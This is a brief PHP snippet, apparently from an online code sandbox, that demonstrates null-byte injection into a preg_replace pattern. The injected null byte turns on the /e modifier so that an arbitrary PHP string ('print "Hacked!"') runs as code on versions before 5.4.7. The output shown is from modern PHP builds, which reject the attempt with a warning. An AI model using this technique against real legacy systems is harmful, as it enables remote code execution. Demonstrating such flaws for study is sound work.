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<?php // That works on PHP versions earlier than 5.4.7. $replace_pattern = "a@e\0"; // Inject null byte here. $replace = 'print "Hacked!"'; // Any valid PHP Code. $transliterated = 'a'; $transliterated = preg_replace('@' . $replace_pattern . '@', $replace, $transliterated);
Output for git.master, git.master_jit, rfc.property-hooks
Warning: preg_replace(): NUL is not a valid modifier in /in/YvY2J on line 7

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